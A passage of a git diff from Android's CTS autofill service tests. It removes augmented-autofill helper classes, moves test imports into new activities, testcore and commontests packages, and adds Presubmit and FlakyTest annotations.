-    public static void allowAugmentedAutofill() {
-        sContext.getApplicationContext()
-                .setAutofillOptions(AutofillOptions.forWhitelistingItself());
-        allowOverlays();
-    }
-
-    @AfterClass
-    public static void resetAllowAugmentedAutofill() {
-        sContext.getApplicationContext().setAutofillOptions(null);
-        disallowOverlays();
-    }
-
-    @Before
-    public void setFixtures() {
-        mServiceWatcher = null;
-        sAugmentedReplier = CtsAugmentedAutofillService.getAugmentedReplier();
-        sAugmentedReplier.reset();
-        CtsAugmentedAutofillService.resetStaticState();
-        mAugmentedUiBot = new AugmentedUiBot(mUiBot);
-        mSafeCleanerRule
-                .run(() -> sAugmentedReplier.assertNoUnhandledFillRequests())
-                .run(() -> {
-                    AugmentedHelper.resetAugmentedService();
-                    if (mServiceWatcher != null) {
-                        mServiceWatcher.waitOnDisconnected();
-                    }
-                })
-                .add(() -> { return sAugmentedReplier.getExceptions(); });
-    }
-
-    @Override
-    protected int getNumberRetries() {
-        return 0; // A.K.A. "Optimistic Thinking"
-    }
-
-    @Override
-    protected int getSmartSuggestionMode() {
-        return AutofillManager.FLAG_SMART_SUGGESTION_SYSTEM;
-    }
-
-    @Override
-    protected TestRule getRequiredFeaturesRule() {
-        return sRequiredFeatures;
-    }
-
-    protected CtsAugmentedAutofillService enableAugmentedService() throws InterruptedException {
-        if (mServiceWatcher != null) {
-            throw new IllegalStateException("There Can Be Only One!");
-        }
-
-        mServiceWatcher = CtsAugmentedAutofillService.setServiceWatcher();
-        AugmentedHelper.setAugmentedService(CtsAugmentedAutofillService.SERVICE_NAME);
-
-        CtsAugmentedAutofillService service = mServiceWatcher.waitOnConnected();
-        service.waitUntilConnected();
-        return service;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillManualActivityLaunchTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillManualActivityLaunchTestCase.java
deleted file mode 100644
index 32e6b88..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillManualActivityLaunchTestCase.java
+++ /dev/null
@@ -1,114 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts.augmented;
-
-import static android.autofillservice.cts.Helper.allowOverlays;
-import static android.autofillservice.cts.Helper.disallowOverlays;
-
-import android.autofillservice.cts.AutoFillServiceTestCase;
-import android.autofillservice.cts.augmented.CtsAugmentedAutofillService.AugmentedReplier;
-import android.content.AutofillOptions;
-import android.view.autofill.AutofillManager;
-
-import com.android.compatibility.common.util.RequiredSystemResourceRule;
-
-import org.junit.AfterClass;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.rules.RuleChain;
-import org.junit.rules.TestRule;
-
-/////
-///// NOTE: changes in this class should also be applied to
-/////       AugmentedAutofillManualActivityLaunchTestCase, which is exactly the same as this except
-/////       by which class it extends.
-
-// Must be public because of the @ClassRule
-public abstract class AugmentedAutofillManualActivityLaunchTestCase
-        extends AutoFillServiceTestCase.ManualActivityLaunch {
-
-    protected static AugmentedReplier sAugmentedReplier;
-    protected AugmentedUiBot mAugmentedUiBot;
-
-    private CtsAugmentedAutofillService.ServiceWatcher mServiceWatcher;
-
-    private static final RequiredSystemResourceRule sRequiredResource =
-            new RequiredSystemResourceRule("config_defaultAugmentedAutofillService");
-
-    private static final RuleChain sRequiredFeatures = RuleChain
-            .outerRule(sRequiredFeatureRule)
-            .around(sRequiredResource);
-
-    @BeforeClass
-    public static void allowAugmentedAutofill() {
-        sContext.getApplicationContext()
-                .setAutofillOptions(AutofillOptions.forWhitelistingItself());
-        allowOverlays();
-    }
-
-    @AfterClass
-    public static void resetAllowAugmentedAutofill() {
-        sContext.getApplicationContext().setAutofillOptions(null);
-        disallowOverlays();
-    }
-
-    @Before
-    public void setFixtures() {
-        sAugmentedReplier = CtsAugmentedAutofillService.getAugmentedReplier();
-        sAugmentedReplier.reset();
-        CtsAugmentedAutofillService.resetStaticState();
-        mAugmentedUiBot = new AugmentedUiBot(mUiBot);
-        mSafeCleanerRule
-                .run(() -> sAugmentedReplier.assertNoUnhandledFillRequests())
-                .run(() -> {
-                    AugmentedHelper.resetAugmentedService();
-                    if (mServiceWatcher != null) {
-                        mServiceWatcher.waitOnDisconnected();
-                    }
-                })
-                .add(() -> {
-                    return sAugmentedReplier.getExceptions();
-                });
-    }
-
-    @Override
-    protected int getSmartSuggestionMode() {
-        return AutofillManager.FLAG_SMART_SUGGESTION_SYSTEM;
-    }
-
-    @Override
-    protected TestRule getRequiredFeaturesRule() {
-        return sRequiredFeatures;
-    }
-
-    protected CtsAugmentedAutofillService enableAugmentedService() throws InterruptedException {
-        return enableAugmentedService(/* whitelistSelf= */ true);
-    }
-
-    protected CtsAugmentedAutofillService enableAugmentedService(boolean whitelistSelf)
-            throws InterruptedException {
-        if (mServiceWatcher != null) {
-            throw new IllegalStateException("There Can Be Only One!");
-        }
-
-        mServiceWatcher = CtsAugmentedAutofillService.setServiceWatcher();
-        AugmentedHelper.setAugmentedService(CtsAugmentedAutofillService.SERVICE_NAME);
-
-        CtsAugmentedAutofillService service = mServiceWatcher.waitOnConnected();
-        service.waitUntilConnected();
-        return service;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedHelper.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedHelper.java
deleted file mode 100644
index 56bf8b9..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedHelper.java
+++ /dev/null
@@ -1,209 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts.augmented;
-
-import static android.autofillservice.cts.Timeouts.CONNECTION_TIMEOUT;
-import static android.view.autofill.AutofillManager.MAX_TEMP_AUGMENTED_SERVICE_DURATION_MS;
-
-import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.Activity;
-import android.autofillservice.cts.Helper;
-import android.autofillservice.cts.augmented.CtsAugmentedAutofillService.AugmentedFillRequest;
-import android.content.ComponentName;
-import android.service.autofill.augmented.FillRequest;
-import android.util.Log;
-import android.util.Pair;
-import android.view.autofill.AutofillId;
-import android.view.autofill.AutofillValue;
-import android.view.inputmethod.InlineSuggestionsRequest;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import java.util.List;
-import java.util.Objects;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Helper for common funcionalities.
- */
-public final class AugmentedHelper {
-
-    private static final String TAG = AugmentedHelper.class.getSimpleName();
-
-    @NonNull
-    public static String getActivityName(@Nullable FillRequest request) {
-        if (request == null) return "N/A (null request)";
-
-        final ComponentName componentName = request.getActivityComponent();
-        if (componentName == null) return "N/A (no component name)";
-
-        return componentName.flattenToShortString();
-    }
-
-    /**
-     * Sets the augmented capture service.
-     */
-    public static void setAugmentedService(@NonNull String service) {
-        Log.d(TAG, "Setting service to " + service);
-        runShellCommand("cmd autofill set temporary-augmented-service 0 %s %d", service,
-                MAX_TEMP_AUGMENTED_SERVICE_DURATION_MS);
-    }
-
-    /**
-     * Resets the content capture service.
-     */
-    public static void resetAugmentedService() {
-        Log.d(TAG, "Resetting back to default service");
-        runShellCommand("cmd autofill set temporary-augmented-service 0");
-    }
-
-    public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
-            @NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
-            @NonNull AutofillValue expectedFocusedValue) {
-        assertBasicRequestInfo(request, activity, expectedFocusedId,
-                expectedFocusedValue.getTextValue().toString());
-    }
-
-    public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
-            @NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
-            @NonNull String expectedFocusedValue) {
-        assertBasicRequestInfo(request, activity, expectedFocusedId, expectedFocusedValue, true);
-    }
-
-    public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
-            @NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
-            @NonNull AutofillValue expectedFocusedValue, boolean hasInlineRequest) {
-        assertBasicRequestInfo(request, activity, expectedFocusedId,
-                expectedFocusedValue.getTextValue().toString(), hasInlineRequest);
-    }
-
-    private static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
-            @NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
-            @NonNull String expectedFocusedValue, boolean hasInlineRequest) {
-        Objects.requireNonNull(activity);
-        Objects.requireNonNull(expectedFocusedId);
-        assertWithMessage("no AugmentedFillRequest").that(request).isNotNull();
-        assertWithMessage("no FillRequest on %s", request).that(request.request).isNotNull();
-        assertWithMessage("no FillController on %s", request).that(request.controller).isNotNull();
-        assertWithMessage("no FillCallback on %s", request).that(request.callback).isNotNull();
-        assertWithMessage("no CancellationSignal on %s", request).that(request.cancellationSignal)
-                .isNotNull();
-        // NOTE: task id can change, we might need to set it in the activity's onCreate()
-        assertWithMessage("wrong task id on %s", request).that(request.request.getTaskId())
-                .isEqualTo(activity.getTaskId());
-
-        final ComponentName actualComponentName = request.request.getActivityComponent();
-        assertWithMessage("no activity name on %s", request).that(actualComponentName).isNotNull();
-        assertWithMessage("wrong activity name on %s", request).that(actualComponentName)
-                .isEqualTo(activity.getComponentName());
-        final AutofillId actualFocusedId = request.request.getFocusedId();
-        assertWithMessage("no focused id on %s", request).that(actualFocusedId).isNotNull();
-        assertWithMessage("wrong focused id on %s", request).that(actualFocusedId)
-                .isEqualTo(expectedFocusedId);
-        final AutofillValue actualFocusedValue = request.request.getFocusedValue();
-        assertWithMessage("no focused value on %s", request).that(actualFocusedValue).isNotNull();
-        assertAutofillValue(expectedFocusedValue, actualFocusedValue);
-        final InlineSuggestionsRequest inlineRequest =
-                request.request.getInlineSuggestionsRequest();
-        if (hasInlineRequest) {
-            assertWithMessage("no inline request on %s", request).that(inlineRequest).isNotNull();
-        } else {
-            assertWithMessage("exist inline request on %s", request).that(inlineRequest).isNull();
-        }
-    }
-
-    public static void assertAutofillValue(@NonNull AutofillValue expectedValue,
-            @NonNull AutofillValue actualValue) {
-        // It only supports text values for now...
-        assertWithMessage("expected value is not text: %s", expectedValue)
-                .that(expectedValue.isText()).isTrue();
-        assertAutofillValue(expectedValue.getTextValue().toString(), actualValue);
-    }
-
-    public static void assertAutofillValue(@NonNull String expectedValue,
-            @NonNull AutofillValue actualValue) {
-        assertWithMessage("actual value is not text: %s", actualValue)
-                .that(actualValue.isText()).isTrue();
-
-        assertWithMessage("wrong autofill value").that(actualValue.getTextValue().toString())
-                .isEqualTo(expectedValue);
-    }
-
-    @NonNull
-    public static String toString(@Nullable List<Pair<AutofillId, AutofillValue>> values) {
-        if (values == null) return "null";
-        final StringBuilder string = new StringBuilder("[");
-        final int size = values.size();
-        for (int i = 0; i < size; i++) {
-            final Pair<AutofillId, AutofillValue> value = values.get(i);
-            string.append(i).append(':').append(value.first).append('=')
-                   .append(Helper.toString(value.second));
-            if (i < size - 1) {
-                string.append(", ");
-            }
-
-        }
-        return string.append(']').toString();
-    }
-
-    @NonNull
-    public static String toString(@Nullable FillRequest request) {
-        if (request == null) return "(null request)";
-
-        final StringBuilder string =
-                new StringBuilder("FillRequest[act=").append(getActivityName(request))
-                .append(", taskId=").append(request.getTaskId());
-
-        final AutofillId focusedId = request.getFocusedId();
-        if (focusedId != null) {
-            string.append(", focusedId=").append(focusedId);
-        }
-        final AutofillValue focusedValue = request.getFocusedValue();
-        if (focusedValue != null) {
-            string.append(", focusedValue=").append(focusedValue);
-        }
-
-        return string.append(']').toString();
-    }
-
-    // Used internally by UiBot to assert the UI
-    static String getContentDescriptionForUi(@NonNull AutofillId focusedId) {
-        return "ui_for_" + focusedId;
-    }
-
-    private AugmentedHelper() {
-        throw new UnsupportedOperationException("contain static methods only");
-    }
-
-    /**
-     * Awaits for a latch to be counted down.
-     */
-    public static void await(@NonNull CountDownLatch latch, @NonNull String fmt,
-            @Nullable Object... args)
-            throws InterruptedException {
-        final boolean called = latch.await(CONNECTION_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-        if (!called) {
-            throw new IllegalStateException(String.format(fmt, args)
-                    + " in " + CONNECTION_TIMEOUT.ms() + "ms");
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivity.java
deleted file mode 100644
index 8d7c412..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts.augmented;
-
-import android.autofillservice.cts.LoginActivity;
-
-// Currently it's same as LoginActivity, except that it allows rotation.
-public class AugmentedLoginActivity extends LoginActivity {
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java
index 2683ec4..45a593e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java
@@ -16,20 +16,20 @@
 
 package android.autofillservice.cts.augmented;
 
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.assertHasFlags;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertViewAutofillState;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
-import static android.autofillservice.cts.UiBot.LANDSCAPE;
-import static android.autofillservice.cts.UiBot.PORTRAIT;
-import static android.autofillservice.cts.augmented.AugmentedHelper.assertBasicRequestInfo;
-import static android.autofillservice.cts.augmented.AugmentedTimeouts.AUGMENTED_FILL_TIMEOUT;
-import static android.autofillservice.cts.augmented.CannedAugmentedFillResponse.DO_NOT_REPLY_AUGMENTED_RESPONSE;
-import static android.autofillservice.cts.augmented.CannedAugmentedFillResponse.NO_AUGMENTED_RESPONSE;
+import static android.autofillservice.cts.activities.LoginActivity.getWelcomeMessage;
+import static android.autofillservice.cts.testcore.AugmentedHelper.assertBasicRequestInfo;
+import static android.autofillservice.cts.testcore.AugmentedTimeouts.AUGMENTED_FILL_TIMEOUT;
+import static android.autofillservice.cts.testcore.CannedAugmentedFillResponse.DO_NOT_REPLY_AUGMENTED_RESPONSE;
+import static android.autofillservice.cts.testcore.CannedAugmentedFillResponse.NO_AUGMENTED_RESPONSE;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.assertHasFlags;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.assertViewAutofillState;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.UiBot.LANDSCAPE;
+import static android.autofillservice.cts.testcore.UiBot.PORTRAIT;
 import static android.service.autofill.FillRequest.FLAG_MANUAL_REQUEST;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
 
@@ -40,19 +40,25 @@
 import static org.testng.Assert.assertThrows;
 
 import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.AutofillActivityTestRule;
-import android.autofillservice.cts.CannedFillResponse;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.Helper;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.autofillservice.cts.LoginActivity;
-import android.autofillservice.cts.MyAutofillCallback;
-import android.autofillservice.cts.OneTimeCancellationSignalListener;
-import android.autofillservice.cts.augmented.CtsAugmentedAutofillService.AugmentedFillRequest;
+import android.autofillservice.cts.activities.AugmentedLoginActivity;
+import android.autofillservice.cts.activities.LoginActivity;
+import android.autofillservice.cts.commontests.AugmentedAutofillAutoActivityLaunchTestCase;
+import android.autofillservice.cts.testcore.AugmentedHelper;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedAugmentedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
+import android.autofillservice.cts.testcore.OneTimeCancellationSignalListener;
 import android.content.ComponentName;
 import android.os.CancellationSignal;
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
 import android.support.test.uiautomator.UiObject2;
 import android.util.ArraySet;
 import android.view.View;
@@ -61,6 +67,8 @@
 import android.view.autofill.AutofillValue;
 import android.widget.EditText;
 
+import androidx.test.filters.FlakyTest;
+
 import org.junit.Test;
 
 import java.util.Set;
@@ -81,6 +89,7 @@
         };
     }
 
+    @Presubmit
     @Test
     public void testServiceLifecycle() throws Exception {
         enableService();
@@ -284,6 +293,7 @@
         assertTextAndValue(passwordNode, "malkovich");
     }
 
+    @Presubmit
     @Test
     public void testAutoFill_mainServiceReturnedNull_augmentedAutofillOneField() throws Exception {
         // Set services
@@ -322,6 +332,7 @@
         mAugmentedUiBot.assertUiGone();
     }
 
+    @FlakyTest(bugId = 162372863) // Re-add @Presubmit after fixing.
     @Test
     public void testAutoFill_augmentedFillRequestCancelled() throws Exception {
         // Set services
@@ -598,6 +609,7 @@
         assertViewAutofillState(mActivity.getUsername(), false);
     }
 
+    @Presubmit
     @Test
     public void testAugmentedAutoFill_callback() throws Exception {
         // Set services
@@ -776,6 +788,7 @@
         currentActivity.assertAutoFilled();
     }
 
+    @Presubmit
     @Test
     public void testAugmentedAutoFill_noPreviousRequest_requestAutofill() throws Exception {
         // Set services
@@ -790,6 +803,7 @@
         assertThat(requestResult).isFalse();
     }
 
+    @Presubmit
     @Test
     public void testAugmentedAutoFill_hasPreviousRequestViewFocused_requestAutofill()
             throws Exception {
@@ -834,6 +848,7 @@
         mAugmentedUiBot.assertUiShown(usernameId, "Augment Me");
     }
 
+    @Presubmit
     @Test
     public void testAugmentedAutoFill_hasPreviousRequestViewNotFocused_requestAutofill()
             throws Exception {
@@ -1019,7 +1034,7 @@
         final AugmentedFillRequest request2 = sAugmentedReplier.getNextFillRequest();
 
         // Assert 2nd request
-        assertBasicRequestInfo(request2, mActivity, usernameId, "DOH");
+        assertBasicRequestInfo(request2, mActivity, usernameId, AutofillValue.forText("DOH"));
 
         // Make sure UIs were not shown
         mUiBot.assertNoDatasetsEver();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginNotImportantForAutofillActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginNotImportantForAutofillActivityTest.java
index 3875561..2540488 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginNotImportantForAutofillActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginNotImportantForAutofillActivityTest.java
@@ -16,8 +16,9 @@
 
 package android.autofillservice.cts.augmented;
 
-import android.autofillservice.cts.AutofillActivityTestRule;
-import android.autofillservice.cts.LoginNotImportantForAutofillActivity;
+import android.autofillservice.cts.activities.LoginNotImportantForAutofillActivity;
+import android.autofillservice.cts.commontests.AbstractLoginNotImportantForAutofillTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
 import android.platform.test.annotations.AppModeFull;
 
 @AppModeFull(reason = "AugmentedLoginActivityTest is enough")
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedNotImportantForAutofillWrappedActivityContextTest.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedNotImportantForAutofillWrappedActivityContextTest.java
index e4300ac..c28ec14 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedNotImportantForAutofillWrappedActivityContextTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedNotImportantForAutofillWrappedActivityContextTest.java
@@ -16,8 +16,9 @@
 
 package android.autofillservice.cts.augmented;
 
-import android.autofillservice.cts.AutofillActivityTestRule;
-import android.autofillservice.cts.LoginNotImportantForAutofillWrappedActivityContextActivity;
+import android.autofillservice.cts.activities.LoginNotImportantForAutofillWrappedActivityContextActivity;
+import android.autofillservice.cts.commontests.AbstractLoginNotImportantForAutofillTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
 import android.platform.test.annotations.AppModeFull;
 
 @AppModeFull(reason = "AugmentedLoginActivityTest is enough")
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedNotImportantForAutofillWrappedApplicationContextTest.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedNotImportantForAutofillWrappedApplicationContextTest.java
index efdb036..88b6486 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedNotImportantForAutofillWrappedApplicationContextTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedNotImportantForAutofillWrappedApplicationContextTest.java
@@ -16,8 +16,9 @@
 
 package android.autofillservice.cts.augmented;
 
-import android.autofillservice.cts.AutofillActivityTestRule;
-import android.autofillservice.cts.LoginNotImportantForAutofillWrappedApplicationContextActivity;
+import android.autofillservice.cts.activities.LoginNotImportantForAutofillWrappedApplicationContextActivity;
+import android.autofillservice.cts.commontests.AbstractLoginNotImportantForAutofillTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
 import android.platform.test.annotations.AppModeFull;
 
 @AppModeFull(reason = "AugmentedLoginActivityTest is enough")
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedTimeouts.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedTimeouts.java
deleted file mode 100644
index 7bfdfc8..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedTimeouts.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts.augmented;
-
-import com.android.compatibility.common.util.Timeout;
-
-/**
- * Timeouts for common tasks.
- */
-final class AugmentedTimeouts {
-
-    private static final long ONE_TIMEOUT_TO_RULE_THEN_ALL_MS = 1_000;
-    private static final long ONE_NAPTIME_TO_RULE_THEN_ALL_MS = 3_000;
-
-    /**
-     * Timeout for expected augmented autofill requests.
-     */
-    static final Timeout AUGMENTED_FILL_TIMEOUT = new Timeout("AUGMENTED_FILL_TIMEOUT",
-            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
-
-    /**
-     * Timeout until framework binds / unbinds from service.
-     */
-    static final Timeout AUGMENTED_CONNECTION_TIMEOUT = new Timeout("AUGMENTED_CONNECTION_TIMEOUT",
-            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
-
-    /**
-     * Timeout used when the augmented autofill UI not expected to be shown - test will sleep for
-     * that amount of time as there is no callback that be received to assert it's not shown.
-     */
-    static final long AUGMENTED_UI_NOT_SHOWN_NAPTIME_MS = ONE_NAPTIME_TO_RULE_THEN_ALL_MS;
-
-    private AugmentedTimeouts() {
-        throw new UnsupportedOperationException("contain static methods only");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedUiBot.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedUiBot.java
deleted file mode 100644
index 5f9bca5..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedUiBot.java
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts.augmented;
-
-import static android.autofillservice.cts.augmented.AugmentedHelper.getContentDescriptionForUi;
-import static android.autofillservice.cts.augmented.AugmentedTimeouts.AUGMENTED_FILL_TIMEOUT;
-import static android.autofillservice.cts.augmented.AugmentedTimeouts.AUGMENTED_UI_NOT_SHOWN_NAPTIME_MS;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.autofillservice.cts.R;
-import android.autofillservice.cts.UiBot;
-import android.support.test.uiautomator.UiObject2;
-import android.view.autofill.AutofillId;
-
-import androidx.annotation.NonNull;
-
-import com.google.common.base.Preconditions;
-
-import java.util.Objects;
-
-/**
- * Helper for UI-related needs.
- */
-public final class AugmentedUiBot {
-
-    private final UiBot mUiBot;
-    private boolean mOkToCallAssertUiGone;
-
-    public AugmentedUiBot(@NonNull UiBot uiBot) {
-        mUiBot = uiBot;
-    }
-
-    /**
-     * Asserts the augmented autofill UI was never shown.
-     *
-     * <p>This method is slower than {@link #assertUiGone()} and should only be called in the
-     * cases where the dataset picker was not previous shown.
-     */
-    public void assertUiNeverShown() throws Exception {
-        mUiBot.assertNeverShownByRelativeId("augmented autofil UI", R.id.augmentedAutofillUi,
-                AUGMENTED_UI_NOT_SHOWN_NAPTIME_MS);
-    }
-
-    /**
-     * Asserts the augmented autofill UI was shown.
-     *
-     * @param focusedId where it should have been shown
-     * @param expectedText the expected text in the UI
-     */
-    public UiObject2 assertUiShown(@NonNull AutofillId focusedId,
-            @NonNull String expectedText) throws Exception {
-        Objects.requireNonNull(focusedId);
-        Objects.requireNonNull(expectedText);
-
-        final UiObject2 ui = mUiBot.assertShownByRelativeId(R.id.augmentedAutofillUi);
-
-        assertWithMessage("Wrong text on UI").that(ui.getText()).isEqualTo(expectedText);
-
-        final String expectedContentDescription = getContentDescriptionForUi(focusedId);
-        assertWithMessage("Wrong content description on UI")
-                .that(ui.getContentDescription()).isEqualTo(expectedContentDescription);
-
-        mOkToCallAssertUiGone = true;
-
-        return ui;
-    }
-
-    /**
-     * Asserts the augmented autofill UI is gone AFTER it was previously shown.
-     *
-     * @throws IllegalStateException if this method is called without calling
-     * {@link #assertUiShown(AutofillId, String)} before.
-     */
-    public void assertUiGone() {
-        Preconditions.checkState(mOkToCallAssertUiGone, "must call assertUiShown() first");
-        mUiBot.assertGoneByRelativeId(R.id.augmentedAutofillUi, AUGMENTED_FILL_TIMEOUT);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/CannedAugmentedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/CannedAugmentedFillResponse.java
deleted file mode 100644
index af1229b..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/CannedAugmentedFillResponse.java
+++ /dev/null
@@ -1,378 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
